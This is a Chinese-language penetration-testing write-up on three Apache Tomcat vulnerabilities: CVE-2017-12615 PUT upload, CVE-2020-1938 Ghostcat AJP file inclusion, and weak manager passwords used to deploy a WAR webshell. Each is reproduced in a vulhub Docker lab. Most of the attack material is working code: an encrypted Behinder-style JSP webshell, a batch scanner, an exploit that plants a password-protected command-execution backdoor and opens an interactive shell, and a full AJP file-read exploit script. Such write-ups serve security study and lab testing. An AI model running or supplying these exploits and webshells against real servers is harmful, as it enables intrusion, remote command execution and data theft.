Tomcat

Tomcat 服务器是一个免费的开放源代码的Web 应用服务器，属于轻量级应用服务器，在中小型系统和并发访问用户不是很多的场合下被普遍使用，是开发和调试JSP 程序的首选

CVE-2017-12615：远程代码执行漏洞

漏洞描述

影响范围：Apache Tomcat 7.0.0 - 7.0.79 (windows环境)

当 Tomcat 运行在 Windows 操作系统时，且启用了 HTTP PUT 请求方法（例如，将 readonly 初始化参数由默认值设置为 false），攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包含任意代码的 JSP 文件，JSP文件中的恶意代码将能被服务器执行。导致服务器上的数据泄露或获取服务器权限。

<servlet>
    <servlet-name>default</servlet-name>
    <servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
    <init-param>
        <param-name>debug</param-name>
        <param-value>0</param-value>
    </init-param>
    <init-param>
        <param-name>listings</param-name>
        <param-value>false</param-value>
    </init-param>
    <init-param>
        <param-name>readonly</param-name>
        <param-value>false</param-value>
    </init-param>
    <load-on-startup>1</load-on-startup>
</servlet>

环境搭建

#进入漏洞目录
cd vulhub/tomcat/CVE-2017-12615/
#开启环境
docker-compose up -d

查看配置文件

#查看镜像
docker ps
#进入镜像环境
docker exec -ti *** bas

#查看配置文件conf/web.xml中readonly的设置
cat conf/web.xml | grep readonly

查看网站

http://192.168.88.128:8080/

漏洞复现

使用burpsuite抓包，修改GET为PUT上传方式，添加文件名shell.jsp/，添加shell脚本

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%>
<%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%>
<%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位，默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>

访问成功，可以直接利用冰蝎直连

POC代码

#CVE-2017-12615 POC
import requests
import optparse
import os

parse = optparse.OptionParser(usage = 'python3 %prog [-h] [-u URL] [-p PORT] [-f FILE]')
parse.add_option('-u','--url',dest='URL',help='target url')
parse.add_option('-p','--port',dest='PORT',help='target port[default:8080]',default='8080')
parse.add_option('-f',dest='FILE',help='target list')

options,args = parse.parse_args()
#print(options)
#验证参数是否完整
if (not options.URL or not options.PORT) and not options.FILE:
        print('Usage:python3 CVE-2017-12615-POC.py [-u url] [-p port] [-f FILE]\n')
        exit('CVE-2017-12615-POC.py:error:missing a mandatory option(-u,-p).Use -h for basic and -hh for advanced help')

filename = '/hello.jsp'

#测试数据
data = 'hello'

#提交PUT请求
#resp = requests.post(url1,headers=headers,data=data)

#验证文件是否上传成功
#response = requests.get(url2)
#上传文件
def upload(url):
  try:
    response = requests.put(url+filename+'/',data=data)
    return 1
  except Exception as e:
    print("[-] {0} 连接失败".format(url))
    return 0
def checking(url):
  try:
    #验证文件是否上传成功
    response = requests.get(url+filename)
    #print(url+filename)
    if response.status_code == 200 and 'hello' in response.text:
      print('[+] {0} 存在CVE-2017-12615 Tomcat 任意文件读写漏洞'.format(url))
    else:
      print('[-] {0} 不存在CVE-2017-12615 Tomcat 任意文件读写漏洞'.format(url))
  except Exception as e:
                #print(e)
    print("[-] {0} 连接失败".format(url))
if options.FILE and os.path.exists(options.FILE):
  with open(options.FILE) as f:
    urls = f.readlines()
    #print(urls)
    for url in urls:
      url = str(url).replace('\n', '').replace('\r', '').strip()
      if upload(url) == 1:
        checking(url)
elif options.FILE and not os.path.exists(options.FILE):
  print('[-] {0} 文件不存在'.format(options.FILE))
else:
  #上传链接
  url = options.URL+':'+options.PORT
  if upload(url) == 1:
    checking(url)

EXP代码

#CVE-2017-12615 EXP
import requests
import optparse
import time


parse = optparse.OptionParser(usage = 'python3 %prog [-h] [-u URL] [-p PORT]')
parse.add_option('-u','--url',dest='URL',help='target url')
parse.add_option('-p','--port',dest='PORT',help='target port[default:8080]',default='8080')

options,args = parse.parse_args()
#验证参数是否完整
if not options.URL or not options.PORT:
        print('Usage:python3 CVE-2017-12615-POC.py [-u url] [-p port]\n')
        exit('CVE-2017-12615-POC.py:error:missing a mandatory option(-u,-p).Use -h for basic and -hh for advanced help')

url = options.URL+':'+options.PORT
filename = '/backdoor.jsp'
payload = filename+'?pwd=023&i='

headers = {"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0"}
#木马
data = '''<%
    if("023".equals(request.getParameter("pwd"))){
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("<pre>");
        while((a=in.read(b))!=-1){
            out.println(new String(b));
        }
        out.print("</pre>");
    }

%>'''
#上传木马文件
def upload(url):
  print('[*] 目标地址:'+url)
  try:
    respond = requests.put(url+filename+'/',headers=headers,data = data)
    #print(respond.status_code)
    if respond.status_code == 201 or respond.status_code == 204:
      #print('[*] 目标地址:'+url)
      print('[+] 木马上传成功')
  except Exception as e:
    print('[-] 上传失败')
    return 0

#命令执行
def attack(url,cmd):
  try:
    respond = requests.get(url+payload+cmd)
    if respond.status_code == 200:
      print(str(respond.text).replace("<pre>","").replace("</pre>","").strip())

  except Exception as e:
    print('[-] 命令执行错误')
if upload(url) == 0:
        exit()
time.sleep(0.5)
print('输入执行命令(quit退出):')
while(1):
  cmd = input('>>>')
  if(cmd == 'quit'):
    break
  attack(url,cmd)

CVE-2020-1938: AJP 文件包含漏洞

漏洞描述

Ghostcat(幽灵猫）是由长亭科技安全研究员发现的存在于Tomcat 中的安全漏洞，由于Tomcat AJP 协议设计上存在缺陷,攻击者通过Tomcat AJP Connector可以读取或包含 Tomcat上所有 webapp目录下的任意文件，例如可以读取webapp 配置文件或源代码。此外在目标应用有文件上传功能的情况下,配合文件包含的利用还可以达到远程代码执行的危害。

漏洞原理

omcat 配置了两个Connecto，它们分别是 HTTP 和 AJP ：HTTP默认端口为8080，处理http请求，而AJP默认端口8009，用于处理 AJP 协议的请求，而AJP比http更加优化，多用于反向、集群等，漏洞由于Tomcat AJP协议存在缺陷而导致，攻击者利用该漏洞可通过构造特定参数，读取服务器webapp下的任意文件以及可以包含任意文件，如果有某上传点，上传图片马等等，即可以获取shell。、

环境搭建

#进入漏洞目录
cd vulhub/tomcat/CVE-2020-1938/
#开启环境
docker-compose up -d

漏洞复现

存在8009端口，开放AJP

EXP：https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi

#CNVD-2020-10487  Tomcat-Ajp lfi
#by ydhcui
import struct

# Some references:
# https://tomcat.apache.org/connectors-doc/ajp/ajpv13a.html
def pack_string(s):
	if s is None:
		return struct.pack(">h", -1)
	l = len(s)
	return struct.pack(">H%dsb" % l, l, s.encode('utf8'), 0)
def unpack(stream, fmt):
	size = struct.calcsize(fmt)
	buf = stream.read(size)
	return struct.unpack(fmt, buf)
def unpack_string(stream):
	size, = unpack(stream, ">h")
	if size == -1: # null string
		return None
	res, = unpack(stream, "%ds" % size)
	stream.read(1) # \0
	return res
class NotFoundException(Exception):
	pass
class AjpBodyRequest(object):
	# server == web server, container == servlet
	SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2)
	MAX_REQUEST_LENGTH = 8186
	def __init__(self, data_stream, data_len, data_direction=None):
		self.data_stream = data_stream
		self.data_len = data_len
		self.data_direction = data_direction
	def serialize(self):
		data = self.data_stream.read(AjpBodyRequest.MAX_REQUEST_LENGTH)
		if len(data) == 0:
			return struct.pack(">bbH", 0x12, 0x34, 0x00)
		else:
			res = struct.pack(">H", len(data))
			res += data
		if self.data_direction == AjpBodyRequest.SERVER_TO_CONTAINER:
			header = struct.pack(">bbH", 0x12, 0x34, len(res))
		else:
			header = struct.pack(">bbH", 0x41, 0x42, len(res))
		return header + res
	def send_and_receive(self, socket, stream):
		while True:
			data = self.serialize()
			socket.send(data)
			r = AjpResponse.receive(stream)
			while r.prefix_code != AjpResponse.GET_BODY_CHUNK and r.prefix_code != AjpResponse.SEND_HEADERS:
				r = AjpResponse.receive(stream)

			if r.prefix_code == AjpResponse.SEND_HEADERS or len(data) == 4:
				break
class AjpForwardRequest(object):
	_, OPTIONS, GET, HEAD, POST, PUT, DELETE, TRACE, PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, LOCK, UNLOCK, ACL, REPORT, VERSION_CONTROL, CHECKIN, CHECKOUT, UNCHECKOUT, SEARCH, MKWORKSPACE, UPDATE, LABEL, MERGE, BASELINE_CONTROL, MKACTIVITY = range(28)
	REQUEST_METHODS = {'GET': GET, 'POST': POST, 'HEAD': HEAD, 'OPTIONS': OPTIONS, 'PUT': PUT, 'DELETE': DELETE, 'TRACE': TRACE}
	# server == web server, container == servlet
	SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2)
	COMMON_HEADERS = ["SC_REQ_ACCEPT",
		"SC_REQ_ACCEPT_CHARSET", "SC_REQ_ACCEPT_ENCODING", "SC_REQ_ACCEPT_LANGUAGE", "SC_REQ_AUTHORIZATION",
		"SC_REQ_CONNECTION", "SC_REQ_CONTENT_TYPE", "SC_REQ_CONTENT_LENGTH", "SC_REQ_COOKIE", "SC_REQ_COOKIE2",
		"SC_REQ_HOST", "SC_REQ_PRAGMA", "SC_REQ_REFERER", "SC_REQ_USER_AGENT"
	]
	ATTRIBUTES = ["context", "servlet_path", "remote_user", "auth_type", "query_string", "route", "ssl_cert", "ssl_cipher", "ssl_session", "req_attribute", "ssl_key_size", "secret", "stored_method"]
	def __init__(self, data_direction=None):
		self.prefix_code = 0x02
		self.method = None
		self.protocol = None
		self.req_uri = None
		self.remote_addr = None
		self.remote_host = None
		self.server_name = None
		self.server_port = None
		self.is_ssl = None
		self.num_headers = None
		self.request_headers = None
		self.attributes = None
		self.data_direction = data_direction
	def pack_headers(self):
		self.num_headers = len(self.request_headers)
		res = ""
		res = struct.pack(">h", self.num_headers)
		for h_name in self.request_headers:
			if h_name.startswith("SC_REQ"):
				code = AjpForwardRequest.COMMON_HEADERS.index(h_name) + 1
				res += struct.pack("BB", 0xA0, code)
			else:
				res += pack_string(h_name)

			res += pack_string(self.request_headers[h_name])
		return res

	def pack_attributes(self):
		res = b""
		for attr in self.attributes:
			a_name = attr['name']
			code = AjpForwardRequest.ATTRIBUTES.index(a_name) + 1
			res += struct.pack("b", code)
			if a_name == "req_attribute":
				aa_name, a_value = attr['value']
				res += pack_string(aa_name)
				res += pack_string(a_value)
			else:
				res += pack_string(attr['value'])
		res += struct.pack("B", 0xFF)
		return res
	def serialize(self):
		res = ""
		res = struct.pack("bb", self.prefix_code, self.method)
		res += pack_string(self.protocol)
		res += pack_string(self.req_uri)
		res += pack_string(self.remote_addr)
		res += pack_string(self.remote_host)
		res += pack_string(self.server_name)
		res += struct.pack(">h", self.server_port)
		res += struct.pack("?", self.is_ssl)
		res += self.pack_headers()
		res += self.pack_attributes()
		if self.data_direction == AjpForwardRequest.SERVER_TO_CONTAINER:
			header = struct.pack(">bbh", 0x12, 0x34, len(res))
		else:
			header = struct.pack(">bbh", 0x41, 0x42, len(res))
		return header + res
	def parse(self, raw_packet):
		stream = StringIO(raw_packet)
		self.magic1, self.magic2, data_len = unpack(stream, "bbH")
		self.prefix_code, self.method = unpack(stream, "bb")
		self.protocol = unpack_string(stream)
		self.req_uri = unpack_string(stream)
		self.remote_addr = unpack_string(stream)
		self.remote_host = unpack_string(stream)
		self.server_name = unpack_string(stream)
		self.server_port = unpack(stream, ">h")
		self.is_ssl = unpack(stream, "?")
		self.num_headers, = unpack(stream, ">H")
		self.request_headers = {}
		for i in range(self.num_headers):
			code, = unpack(stream, ">H")
			if code > 0xA000:
				h_name = AjpForwardRequest.COMMON_HEADERS[code - 0xA001]
			else:
				h_name = unpack(stream, "%ds" % code)
				stream.read(1) # \0
			h_value = unpack_string(stream)
			self.request_headers[h_name] = h_value
	def send_and_receive(self, socket, stream, save_cookies=False):
		res = []
		i = socket.sendall(self.serialize())
		if self.method == AjpForwardRequest.POST:
			return res

		r = AjpResponse.receive(stream)
		assert r.prefix_code == AjpResponse.SEND_HEADERS
		res.append(r)
		if save_cookies and 'Set-Cookie' in r.response_headers:
			self.headers['SC_REQ_COOKIE'] = r.response_headers['Set-Cookie']

		# read body chunks and end response packets
		while True:
			r = AjpResponse.receive(stream)
			res.append(r)
			if r.prefix_code == AjpResponse.END_RESPONSE:
				break
			elif r.prefix_code == AjpResponse.SEND_BODY_CHUNK:
				continue
			else:
				raise NotImplementedError
				break

		return res

class AjpResponse(object):
	_,_,_,SEND_BODY_CHUNK, SEND_HEADERS, END_RESPONSE, GET_BODY_CHUNK = range(7)
	COMMON_SEND_HEADERS = [
			"Content-Type", "Content-Language", "Content-Length", "Date", "Last-Modified",
			"Location", "Set-Cookie", "Set-Cookie2", "Servlet-Engine", "Status", "WWW-Authenticate"
			]
	def parse(self, stream):
		# read headers
		self.magic, self.data_length, self.prefix_code = unpack(stream, ">HHb")

		if self.prefix_code == AjpResponse.SEND_HEADERS:
			self.parse_send_headers(stream)
		elif self.prefix_code == AjpResponse.SEND_BODY_CHUNK:
			self.parse_send_body_chunk(stream)
		elif self.prefix_code == AjpResponse.END_RESPONSE:
			self.parse_end_response(stream)
		elif self.prefix_code == AjpResponse.GET_BODY_CHUNK:
			self.parse_get_body_chunk(stream)
		else:
			raise NotImplementedError

	def parse_send_headers(self, stream):
		self.http_status_code, = unpack(stream, ">H")
		self.http_status_msg = unpack_string(stream)
		self.num_headers, = unpack(stream, ">H")
		self.response_headers = {}
		for i in range(self.num_headers):
			code, = unpack(stream, ">H")
			if code <= 0xA000: # custom header
				h_name, = unpack(stream, "%ds" % code)
				stream.read(1) # \0
				h_value = unpack_string(stream)
			else:
				h_name = AjpResponse.COMMON_SEND_HEADERS[code-0xA001]
				h_value = unpack_string(stream)
			self.response_headers[h_name] = h_value

	def parse_send_body_chunk(self, stream):
		self.data_length, = unpack(stream, ">H")
		self.data = stream.read(self.data_length+1)

	def parse_end_response(self, stream):
		self.reuse, = unpack(stream, "b")

	def parse_get_body_chunk(self, stream):
		rlen, = unpack(stream, ">H")
		return rlen

	@staticmethod
	def receive(stream):
		r = AjpResponse()
		r.parse(stream)
		return r

import socket

def prepare_ajp_forward_request(target_host, req_uri, method=AjpForwardRequest.GET):
	fr = AjpForwardRequest(AjpForwardRequest.SERVER_TO_CONTAINER)
	fr.method = method
	fr.protocol = "HTTP/1.1"
	fr.req_uri = req_uri
	fr.remote_addr = target_host
	fr.remote_host = None
	fr.server_name = target_host
	fr.server_port = 80
	fr.request_headers = {
		'SC_REQ_ACCEPT': 'text/html',
		'SC_REQ_CONNECTION': 'keep-alive',
		'SC_REQ_CONTENT_LENGTH': '0',
		'SC_REQ_HOST': target_host,
		'SC_REQ_USER_AGENT': 'Mozilla',
		'Accept-Encoding': 'gzip, deflate, sdch',
		'Accept-Language': 'en-US,en;q=0.5',
		'Upgrade-Insecure-Requests': '1',
		'Cache-Control': 'max-age=0'
	}
	fr.is_ssl = False
	fr.attributes = []
	return fr

class Tomcat(object):
	def __init__(self, target_host, target_port):
		self.target_host = target_host
		self.target_port = target_port

		self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
		self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
		self.socket.connect((target_host, target_port))
		self.stream = self.socket.makefile("rb", bufsize=0)

	def perform_request(self, req_uri, headers={}, method='GET', user=None, password=None, attributes=[]):
		self.req_uri = req_uri
		self.forward_request = prepare_ajp_forward_request(self.target_host, self.req_uri, method=AjpForwardRequest.REQUEST_METHODS.get(method))
		print("Getting resource at ajp13://%s:%d%s" % (self.target_host, self.target_port, req_uri))
		if user is not None and password is not None:
			self.forward_request.request_headers['SC_REQ_AUTHORIZATION'] = "Basic " + ("%s:%s" % (user, password)).encode('base64').replace('\n', '')
		for h in headers:
			self.forward_request.request_headers[h] = headers[h]
		for a in attributes:
			self.forward_request.attributes.append(a)
		responses = self.forward_request.send_and_receive(self.socket, self.stream)
		if len(responses) == 0:
			return None, None
		snd_hdrs_res = responses[0]
		data_res = responses[1:-1]
		if len(data_res) == 0:
			print("No data in response. Headers:%s\n" % snd_hdrs_res.response_headers)
		return snd_hdrs_res, data_res

'''
javax.servlet.include.request_uri
javax.servlet.include.path_info
javax.servlet.include.servlet_path
'''

import argparse
parser = argparse.ArgumentParser()
parser.add_argument("target", type=str, help="Hostname or IP to attack")
parser.add_argument('-p', '--port', type=int, default=8009, help="AJP port to attack (default is 8009)")
parser.add_argument("-f", '--file', type=str, default='WEB-INF/web.xml', help="file path :(WEB-INF/web.xml)")
args = parser.parse_args()
t = Tomcat(args.target, args.port)
_,data = t.perform_request('/asdf',attributes=[
    {'name':'req_attribute','value':['javax.servlet.include.request_uri','/']},
    {'name':'req_attribute','value':['javax.servlet.include.path_info',args.file]},
    {'name':'req_attribute','value':['javax.servlet.include.servlet_path','/']},
    ])
print('----------------------------')
print("".join([d.data for d in data]))

python CNVD-2020-10487-Tomcat-Ajp-lfi.py -f WEB-INF/web.xml 192.168.88.128

Tomcat7+弱密码&&后端Getshell漏洞

漏洞概述

Tomcat支持通过后端部署war文件，所以我们可以直接把webshell放到web目录下。为了访问后端，需要权限。

Tomcat7+的权限如下：

经理（后台管理）
manager-gui（html页面权限）
manager-status（查看状态的权限）
manager-script（文本界面权限和状态权限）
manager-jmx（jmx 权限和状态权限）
主机管理器（虚拟主机管理）

admin-gui（html 页面权限）
admin-script（文本界面权限）

要了解有关权限的更多信息，请阅读：http: //tomcat.apache.org/tomcat-8.5-doc/manager-howto.html

漏洞原理

用户权限在conf/tomcat-users.xml文件中配置：

<?xml version="1.0" encoding="UTF-8"?>
<tomcat-users xmlns="http://tomcat.apache.org/xml"
              xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
              xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
              version="1.0">

    <role rolename="manager-gui"/>
    <role rolename="manager-script"/>
    <role rolename="manager-jmx"/>
    <role rolename="manager-status"/>
    <role rolename="admin-gui"/>
    <role rolename="admin-script"/>
    <user username="tomcat" password="tomcat" roles="manager-gui,manager-script,manager-jmx,manager-status,admin-gui,admin-script" />

</tomcat-users>

可以看出，用户tomcat拥有上述所有权限，密码为tomcat。

Tomcat8正常安装默认没有用户，管理器页面只允许本地IP访问。只有管理员手动修改了这些属性，我们才能进行攻击。

环境搭建

#进入漏洞目录
cd vulhub/tomcat/tomcat8/
#开启环境
docker-compose up -d

漏洞复现

点击右边的Mananger App，登录管理后台,输入账号密码tomcat

可以看到管理后台界面中有一个文件上传接口，但是只允许上传war包

接下来将冰蝎提供的shell.jsp压缩为zip文件然后更改后缀名为.war进行上传